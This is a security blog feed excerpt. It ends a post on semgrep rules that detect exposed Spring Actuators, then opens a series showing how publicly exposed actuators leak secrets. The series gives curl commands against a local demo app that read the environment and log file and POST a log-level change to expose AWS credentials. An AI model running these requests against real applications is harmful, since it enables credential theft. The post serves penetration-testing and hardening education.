</code></pre><p>In this case, you simply tell semgrep &quot;hey, I don&apos;t actually care what the values of the two metavariable are, just make sure they are present&quot;. As a bonus, semgrep knows that the order of keys in YAML doesn&apos;t matter, so you don&apos;t have to worry about what happens if the two keys are in a different order in the config file - semgrep will find them.</p><h2 id="h-conclusion" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Conclusion</h2><p>We could go on for quite a while in refining these patterns, but in the end, you will have to adapt them to your own situation. For example, maybe you are securing your Actuators using Spring Security, and simply need to check if the correct authentication requirements are configured. Or maybe you are exposing all active actuators, but have <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html#actuator.endpoints.enabling">turned off</a> most actuators that are enabled by default. All of these things can be checked with semgrep if you know how to write the rules.</p><p>I would be remiss if I did not mention one limitation of semgrep: Currently, the semantic features of semgrep are not yet available for all programming languages. In particular, this is the reason why I worked with YAML configuration files for Spring in this article - going through the plain-text properties format would be a lot more annoying with semgrep, as you cannot use the implicit hierarchy that YAML gives you to structure your queries. You can still write semgrep rules against these files using the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://semgrep.dev/docs/experiments/generic-pattern-matching/">generic language model</a>, but it is subject to <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://semgrep.dev/docs/experiments/generic-pattern-matching/#caveats-and-limitations-of-generic-mode">some limitations.</a> I recommend playing around with it to see if you can get your use case to work - the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://semgrep.dev/playground/new?editorMode=advanced">semgrep playground</a> allows you to do so without installing anything on your device.</p><p>This concludes this part of the Spring Actuator security series. I hope that you have gained some appreciation for the power and flexibility of using static code analysis to aid you in securing your systems. In the next part, we will discuss how to find actuators in deployed software using dynamic testing.</p><h2 id="h-further-reading" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Further Reading:</h2><p>The s<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://semgrep.dev/docs/">emgrep documentation</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://semgrep.dev/learn">Getting Started tutorial</a></p><p>The <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://semgrep.dev/r">semgrep registry</a> contains lots of rules for many issues, and you can <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/returntocorp/semgrep-rules">contribute your own</a>.</p><p>The <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://r2c.dev/slack">semgrep Slack</a> is full of helpful and kind people who help you when you are stuck.</p>]]></content:encoded>
            <author>tutorialboy@newsletter.paragraph.com (TutorialBoy)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/ec27ca88d839c0040db7912a0d6ec1bbc05429c2526cec408b09f2a49b5f6a3f.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Spring Actuator - Stealing Secrets Using Spring Actuators - Part 1:]]></title>
            <link>https://paragraph.com/@tutorialboy/spring-actuator-stealing-secrets-using-spring-actuators-part-1</link>
            <guid>yy168cBySqbylpPtcKmU</guid>
            <pubDate>Wed, 19 Apr 2023 11:01:24 GMT</pubDate>
            <description><![CDATA[Spring is a set of frameworks for developing Applications in Java. It is widely used, and so it is not unusual to encounter it during a security audit or penetration test. One of its features that I recently encountered during a Whitebox audit is actuators. In this series of articles, I will use them as a case study for security testing - first describing the risk involved in exposing actuators to the Internet by demonstrating how they can be used to steal secrets from your applications, usin...]]></description>
            <content:encoded><![CDATA[<p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://spring.io/">Spring</a> is a set of frameworks for developing Applications in Java. It is widely used, and so it is not unusual to encounter it during a security audit or penetration test. One of its features that I recently encountered during a Whitebox audit is actuators. In this series of articles, I will use them as a case study for security testing - first describing the risk involved in exposing actuators to the Internet by demonstrating how they can be used to steal secrets from your applications, using a basic Spring application as a case study. In the next parts of the series, I will discuss how to detect misconfiguration using static code analysis and dynamic testing, and finally, how you can secure those actuators that you absolutely cannot leave turned off.</p><h2 id="h-what-are-actuators" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What are Actuators?</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html">Actuators</a> expose information about the running Spring application via (amongst others) a REST API and can be used to retrieve data from the system, or even make configuration changes if configured (in)correctly. They can be quite helpful in debugging or monitoring a Spring application, but if you expose them too widely, things can get dangerous very quickly.</p><p>By default, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html#actuator.endpoints.exposing">only the health check endpoint is enabled</a> over REST, listening at /actuator/health. However, it is possible to enable additional endpoints, for example, to expose metrics to Prometheus for monitoring. This can be done through settings in the relevant .properties file (or its YAML equivalent):</p><pre data-type="codeBlock" text="# Enable Prometheus endpoint in addition to health check
management.endpoints.web.exposure.include=health,prometheus
"><code><span class="hljs-comment"># Enable Prometheus endpoint in addition to health check</span>
<span class="hljs-attr">management.endpoints.web.exposure.include</span>=health,prometheus
</code></pre><p>It is also possible to enable all endpoints for access over REST, by using the following setting in the relevant .properties file:</p><pre data-type="codeBlock" text="# Do not do this! This is insecure!
management.endpoints.web.exposure.include=*
"><code># Do not do <span class="hljs-built_in">this</span><span class="hljs-operator">!</span> This <span class="hljs-keyword">is</span> insecure<span class="hljs-operator">!</span>
management.endpoints.web.exposure.include=<span class="hljs-operator">*</span>
</code></pre><p>This is the config that I found during a recent engagement - and since the application was explicitly configured to expose all actuators without any authentication, I was curious to see what other actuators exist, and how they could be leveraged to attack the application. The result was this article series (and a call to the customer, telling them to make some changes to their configuration right now).</p><h2 id="h-exploiting-public-actuators" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Exploiting Public Actuators</h2><p>Conveniently, Spring provides a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html#actuator.endpoints">list of all actuator</a>s that are present by default and can be enabled. They include actuators for reading (and writing!) the log configuration, the application environment (including environment variables), and even the logs of the application. Even more conveniently, by default, it will show you the list of enabled actuators if you simply access /actuator, removing the guesswork out of determining which actuators you have to work with.</p><p>I&apos;ve created a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/malexmave/blog-spring-actuator-example">basic, vulnerable Spring application</a> that exposes all endpoints if you want to follow along at home. Running it locally on your machine and accessing the Spring actuators endpoint, you will get the following output:</p><pre data-type="codeBlock" text="$ curl localhost:8081/actuator | jq .
{
  &quot;_links&quot;: {
    &quot;self&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator&quot;,
      &quot;templated&quot;: false
    },
    &quot;beans&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/beans&quot;,
      &quot;templated&quot;: false
    },
    &quot;caches&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/caches&quot;,
      &quot;templated&quot;: false
    },
    &quot;caches-cache&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/caches/{cache}&quot;,
      &quot;templated&quot;: true
    },
    &quot;health-path&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/health/{*path}&quot;,
      &quot;templated&quot;: true
    },
    &quot;health&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/health&quot;,
      &quot;templated&quot;: false
    },
    &quot;info&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/info&quot;,
      &quot;templated&quot;: false
    },
    &quot;conditions&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/conditions&quot;,
      &quot;templated&quot;: false
    },
    &quot;configprops&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/configprops&quot;,
      &quot;templated&quot;: false
    },
    &quot;configprops-prefix&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/configprops/{prefix}&quot;,
      &quot;templated&quot;: true
    },
    &quot;env-toMatch&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/env/{toMatch}&quot;,
      &quot;templated&quot;: true
    },
    &quot;env&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/env&quot;,
      &quot;templated&quot;: false
    },
    &quot;logfile&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/logfile&quot;,
      &quot;templated&quot;: false
    },
    &quot;loggers-name&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/loggers/{name}&quot;,
      &quot;templated&quot;: true
    },
    &quot;loggers&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/loggers&quot;,
      &quot;templated&quot;: false
    },
    &quot;heapdump&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/heapdump&quot;,
      &quot;templated&quot;: false
    },
    &quot;threaddump&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/threaddump&quot;,
      &quot;templated&quot;: false
    },
    &quot;metrics-requiredMetricName&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/metrics/{requiredMetricName}&quot;,
      &quot;templated&quot;: true
    },
    &quot;metrics&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/metrics&quot;,
      &quot;templated&quot;: false
    },
    &quot;scheduledtasks&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/scheduledtasks&quot;,
      &quot;templated&quot;: false
    },
    &quot;mappings&quot;: {
      &quot;href&quot;: &quot;http://localhost:8081/actuator/mappings&quot;,
      &quot;templated&quot;: false
    }
  }
}
"><code>$ curl localhost:<span class="hljs-number">8081</span><span class="hljs-operator">/</span>actuator <span class="hljs-operator">|</span> jq .
{
  <span class="hljs-string">"_links"</span>: {
    <span class="hljs-string">"self"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"beans"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/beans"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"caches"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/caches"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"caches-cache"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/caches/{cache}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"health-path"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/health/{*path}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"health"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/health"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"info"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/info"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"conditions"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/conditions"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"configprops"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/configprops"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"configprops-prefix"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/configprops/{prefix}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"env-toMatch"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/env/{toMatch}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"env"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/env"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"logfile"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/logfile"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"loggers-name"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/loggers/{name}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"loggers"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/loggers"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"heapdump"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/heapdump"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"threaddump"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/threaddump"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"metrics-requiredMetricName"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/metrics/{requiredMetricName}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"metrics"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/metrics"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"scheduledtasks"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/scheduledtasks"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"mappings"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/mappings"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    }
  }
}
</code></pre><p>There have been some articles about exploiting actuators, which can even lead to remote code execution (RCE) on the machine running the application. <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators">Veracode discussed a series of paths to RCE in 2019</a> (although some of their methods no longer work on modern Spring versions). In this article, I wanted to highlight a few additional endpoints that can prove dangerous, to illustrate why you should be careful with this feature.</p><h2 id="h-exposing-the-environment" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Exposing the Environment</h2><p>Let&apos;s assume the application you are running is using environmental variables to pull in configuration values:</p><pre data-type="codeBlock" text="public class SecretConfig {
    protected static String DATABASE_CONNECTION = System.getenv(&quot;DB_CONN&quot;);
    protected static String SECRET_AWS_ACCESS_KEY = System.getenv(&quot;AWS_SECRET_KEY&quot;);
    protected static String SECRET_AWS_ACCESS_TOKEN = System.getenv(&quot;AWS_TOKEN&quot;);
}
"><code><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">SecretConfig</span> {
    <span class="hljs-keyword">protected</span> <span class="hljs-type">static</span> <span class="hljs-type">String</span> DATABASE_CONNECTION = System.<span class="hljs-built_in">getenv</span>(<span class="hljs-string">"DB_CONN"</span>);
    <span class="hljs-keyword">protected</span> <span class="hljs-type">static</span> <span class="hljs-type">String</span> SECRET_AWS_ACCESS_KEY = System.<span class="hljs-built_in">getenv</span>(<span class="hljs-string">"AWS_SECRET_KEY"</span>);
    <span class="hljs-keyword">protected</span> <span class="hljs-type">static</span> <span class="hljs-type">String</span> SECRET_AWS_ACCESS_TOKEN = System.<span class="hljs-built_in">getenv</span>(<span class="hljs-string">"AWS_TOKEN"</span>);
}
</code></pre><p>One of the endpoints allows us to take a peek at the application environment. Let&apos;s see if we can get these tokens using the env actuator:</p><pre data-type="codeBlock" text="$ curl localhost:8081/actuator/env | jq .
// ... lots of stuff
&quot;DB_CONN&quot;: {
    &quot;value&quot;: &quot;psql://server/db&quot;,
    &quot;origin&quot;: &quot;System Environment Property \&quot;DB_CONN\&quot;&quot;
},
// ... lots of stuff
"><code>$ curl localhost:<span class="hljs-number">8081</span><span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>env <span class="hljs-operator">|</span> jq .
/<span class="hljs-operator">/</span> ... lots of stuff
<span class="hljs-string">"DB_CONN"</span>: {
    <span class="hljs-string">"value"</span>: <span class="hljs-string">"psql://server/db"</span>,
    <span class="hljs-string">"origin"</span>: <span class="hljs-string">"System Environment Property \"DB_CONN\""</span>
},
<span class="hljs-comment">// ... lots of stuff</span>
</code></pre><p>So, we can read the DB connection string in plaintext from the actuator. Sweet. What about the AWS credentials? Well, the situation is a bit more complicated here:</p><pre data-type="codeBlock" text="&quot;AWS_SECRET_KEY&quot;: {
    &quot;value&quot;: &quot;******&quot;,
    &quot;origin&quot;: &quot;System Environment Property \&quot;AWS_SECRET_KEY\&quot;&quot;
},
&quot;AWS_TOKEN&quot;: {
    &quot;value&quot;: &quot;******&quot;,
    &quot;origin&quot;: &quot;System Environment Property \&quot;AWS_TOKEN\&quot;&quot;
},
"><code><span class="hljs-string">"AWS_SECRET_KEY"</span>: {
    <span class="hljs-string">"value"</span>: <span class="hljs-string">"******"</span>,
    <span class="hljs-string">"origin"</span>: <span class="hljs-string">"System Environment Property <span class="hljs-subst">\"</span>AWS_SECRET_KEY<span class="hljs-subst">\"</span>"</span>
},
<span class="hljs-string">"AWS_TOKEN"</span>: {
    <span class="hljs-string">"value"</span>: <span class="hljs-string">"******"</span>,
    <span class="hljs-string">"origin"</span>: <span class="hljs-string">"System Environment Property <span class="hljs-subst">\"</span>AWS_TOKEN<span class="hljs-subst">\"</span>"</span>
},
</code></pre><p>As you can see, the data is being redacted. Spring automatically tries to redact sensitive values in the Actuator output, based on the name of the environment variable. If we had been more careless and chosen a different name, the data would be right here for the taking, but sadly, Spring has prevented us from trivially stealing the values here. But, there are of course other ways to achieve this goal.</p><h2 id="h-reading-logs" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Reading Logs</h2><p>Let&apos;s assume that your application has the following code:</p><pre data-type="codeBlock" text="@RequestMapping(&quot;/&quot;)
public String index() {
    logger.info(&quot;Entering hello world function...&quot;);
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // Log the AWS credentials for debugging, 
    // so we know if they got loaded correctly.
    logger.info(&quot;Dumping AWS credentials for debugging purposes: Key: {} Token: {}&quot;, AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return &quot;Hello World!&quot;;
}
"><code>@RequestMapping(<span class="hljs-string">"/"</span>)
<span class="hljs-keyword">public</span> String index() {
    logger.info(<span class="hljs-string">"Entering hello world function..."</span>);
    String AWS_KEY <span class="hljs-operator">=</span> SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN <span class="hljs-operator">=</span> SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    <span class="hljs-comment">// Log the AWS credentials for debugging, </span>
    <span class="hljs-comment">// so we know if they got loaded correctly.</span>
    logger.info(<span class="hljs-string">"Dumping AWS credentials for debugging purposes: Key: {} Token: {}"</span>, AWS_KEY, AWS_TOKEN);
    <span class="hljs-comment">// Do some work with the AWS credentials</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"Hello World!"</span>;
}
</code></pre><p>Assuming it is configured to log to a file, Spring helpfully exposes an endpoint called /actuator/logfile. Let&apos;s take a look at what this can give us:</p><pre data-type="codeBlock" text="$ curl localhost:8081/actuator/logfile   
[...]
2022-08-24 13:45:14.813  INFO 68465 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Entering hello world function...
2022-08-24 13:45:14.814  INFO 68465 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Dumping AWS credentials for debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest
"><code>$ curl localhost:<span class="hljs-number">8081</span><span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>logfile   
[...]
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>08<span class="hljs-number">-24</span> <span class="hljs-number">13</span>:<span class="hljs-number">45</span>:<span class="hljs-number">14.813</span>  INFO <span class="hljs-number">68465</span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> [http<span class="hljs-operator">-</span>nio<span class="hljs-number">-8081</span><span class="hljs-operator">-</span>exec<span class="hljs-number">-2</span>] com.example.demo.DemoApplication         : Entering hello world <span class="hljs-keyword">function</span>...
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>08<span class="hljs-number">-24</span> <span class="hljs-number">13</span>:<span class="hljs-number">45</span>:<span class="hljs-number">14.814</span>  INFO <span class="hljs-number">68465</span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> [http<span class="hljs-operator">-</span>nio<span class="hljs-number">-8081</span><span class="hljs-operator">-</span>exec<span class="hljs-number">-2</span>] com.example.demo.DemoApplication         : Dumping AWS credentials <span class="hljs-keyword">for</span> debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest
</code></pre><p>And there we go - we can pull the AWS credentials right from the logs.</p><p>This is, admittedly, a bit far-fetched. No one in their right mind would log AWS credentials in a production environment, right? Okay, then let&apos;s make a few changes to the code to reflect this:</p><pre data-type="codeBlock" text="@RequestMapping(&quot;/&quot;)
public String index() {
    logger.info(&quot;Entering hello world function...&quot;);
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // This is safe, as this logs on the DEBUG level,
    // while in production, the loglevel is set to INFO, 
    // so this will never be logged
    logger.debug(&quot;Dumping AWS credentials for debugging purposes: Key: {} Token: {}&quot;, AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return &quot;Hello World!&quot;;
}
"><code>@RequestMapping(<span class="hljs-string">"/"</span>)
<span class="hljs-keyword">public</span> String index() {
    logger.info(<span class="hljs-string">"Entering hello world function..."</span>);
    String AWS_KEY <span class="hljs-operator">=</span> SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN <span class="hljs-operator">=</span> SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    <span class="hljs-comment">// This is safe, as this logs on the DEBUG level,</span>
    <span class="hljs-comment">// while in production, the loglevel is set to INFO, </span>
    <span class="hljs-comment">// so this will never be logged</span>
    logger.debug(<span class="hljs-string">"Dumping AWS credentials for debugging purposes: Key: {} Token: {}"</span>, AWS_KEY, AWS_TOKEN);
    <span class="hljs-comment">// Do some work with the AWS credentials</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"Hello World!"</span>;
}
</code></pre><p>So you build, deploy, double-check that the logs are clean, and go to bed, knowing that your application is now safe - right?</p><h2 id="h-changing-log-configuration" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Changing Log Configuration</h2><p>Enter /actuator/loggers. This endpoint gives us the log configuration for the application, and looks something like this:</p><pre data-type="codeBlock" text="$ curl localhost:8081/actuator/loggers | jq .
{
  &quot;levels&quot;: [
    &quot;OFF&quot;,
    &quot;ERROR&quot;,
    &quot;WARN&quot;,
    &quot;INFO&quot;,
    &quot;DEBUG&quot;,
    &quot;TRACE&quot;
  ],
  &quot;loggers&quot;: {
    // ...
    &quot;com.example.demo&quot;: {
      &quot;configuredLevel&quot;: null,
      &quot;effectiveLevel&quot;: &quot;INFO&quot;
    },
    &quot;com.example.demo.DemoApplication&quot;: {
      &quot;configuredLevel&quot;: null,
      &quot;effectiveLevel&quot;: &quot;INFO&quot;
    },
    // ...
  }
  // ...
}
"><code>$ curl localhost:<span class="hljs-number">8081</span><span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>loggers <span class="hljs-operator">|</span> jq .
{
  <span class="hljs-string">"levels"</span>: [
    <span class="hljs-string">"OFF"</span>,
    <span class="hljs-string">"ERROR"</span>,
    <span class="hljs-string">"WARN"</span>,
    <span class="hljs-string">"INFO"</span>,
    <span class="hljs-string">"DEBUG"</span>,
    <span class="hljs-string">"TRACE"</span>
  ],
  <span class="hljs-string">"loggers"</span>: {
    <span class="hljs-comment">// ...</span>
    <span class="hljs-string">"com.example.demo"</span>: {
      <span class="hljs-string">"configuredLevel"</span>: null,
      <span class="hljs-string">"effectiveLevel"</span>: <span class="hljs-string">"INFO"</span>
    },
    <span class="hljs-string">"com.example.demo.DemoApplication"</span>: {
      <span class="hljs-string">"configuredLevel"</span>: null,
      <span class="hljs-string">"effectiveLevel"</span>: <span class="hljs-string">"INFO"</span>
    },
    <span class="hljs-comment">// ...</span>
  }
  <span class="hljs-comment">// ...</span>
}
</code></pre><p>So, we can see that the logger is configured to only log on the INFO level. Sure, this isn&apos;t great (the endpoint discloses a lot about the structure of the application, used dependencies, etc.), but it isn&apos;t immediately dangerous. What is dangerous is the fact that the logger configuration can also be changed from this actuator by sending a POST to the correct endpoint. In this case, I am setting the log level for the logger com.example.demo.demo application to DEBUG:</p><pre data-type="codeBlock" text="$ curl -X POST localhost:8081/actuator/loggers/com.example.demo.DemoApplication -H &apos;Content-Type: application/json&apos; -d &apos;{&quot;configuredLevel&quot;: &quot;DEBUG&quot;}&apos;
"><code>$ curl <span class="hljs-operator">-</span>X POST localhost:<span class="hljs-number">8081</span><span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>loggers<span class="hljs-operator">/</span>com.example.demo.DemoApplication <span class="hljs-operator">-</span>H <span class="hljs-string">'Content-Type: application/json'</span> <span class="hljs-operator">-</span>d <span class="hljs-string">'{"configuredLevel": "DEBUG"}'</span>
</code></pre><p>Visit the page again, retrieve the logs - and there we go:</p><pre data-type="codeBlock" text="$ curl localhost:8081/actuator/logfile   
[...]
2022-09-24 13:57:37.774  INFO 71087 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Entering hello world function...
2022-09-24 13:57:37.774 DEBUG 71087 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Dumping AWS credentials for debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest
"><code>$ curl localhost:<span class="hljs-number">8081</span><span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>logfile   
[...]
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>09<span class="hljs-number">-24</span> <span class="hljs-number">13</span>:<span class="hljs-number">57</span>:<span class="hljs-number">37.774</span>  INFO <span class="hljs-number">71087</span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> [http<span class="hljs-operator">-</span>nio<span class="hljs-number">-8081</span><span class="hljs-operator">-</span>exec<span class="hljs-number">-2</span>] com.example.demo.DemoApplication         : Entering hello world <span class="hljs-keyword">function</span>...
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>09<span class="hljs-number">-24</span> <span class="hljs-number">13</span>:<span class="hljs-number">57</span>:<span class="hljs-number">37.774</span> DEBUG <span class="hljs-number">71087</span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span> [http<span class="hljs-operator">-</span>nio<span class="hljs-number">-8081</span><span class="hljs-operator">-</span>exec<span class="hljs-number">-2</span>] com.example.demo.DemoApplication         : Dumping AWS credentials <span class="hljs-keyword">for</span> debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest
</code></pre><p>The logs are back, clearly showing that the application is now logging on the DEBUG level. Now you are seriously annoyed, and decide to do what you should have done before: get rid of the logging statement, as there really is no good reason for it to be there in the first place anyway.</p><pre data-type="codeBlock" text="@RequestMapping(&quot;/&quot;)
public String index() {
    logger.info(&quot;Entering hello world function...&quot;);
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    // Do not log the AWS Credentials, this is dangerous! 
    // =&gt; Commented out for now.
    // logger.debug(&quot;Dumping AWS credentials for debugging purposes: Key: {} Token: {}&quot;, AWS_KEY, AWS_TOKEN);
    // Do some work with the AWS credentials
    return &quot;Hello World!&quot;;
}
"><code>@RequestMapping(<span class="hljs-string">"/"</span>)
<span class="hljs-keyword">public</span> String index() {
    logger.info(<span class="hljs-string">"Entering hello world function..."</span>);
    String AWS_KEY <span class="hljs-operator">=</span> SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN <span class="hljs-operator">=</span> SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    <span class="hljs-comment">// Do not log the AWS Credentials, this is dangerous! </span>
    <span class="hljs-comment">// => Commented out for now.</span>
    <span class="hljs-comment">// logger.debug("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);</span>
    <span class="hljs-comment">// Do some work with the AWS credentials</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"Hello World!"</span>;
}
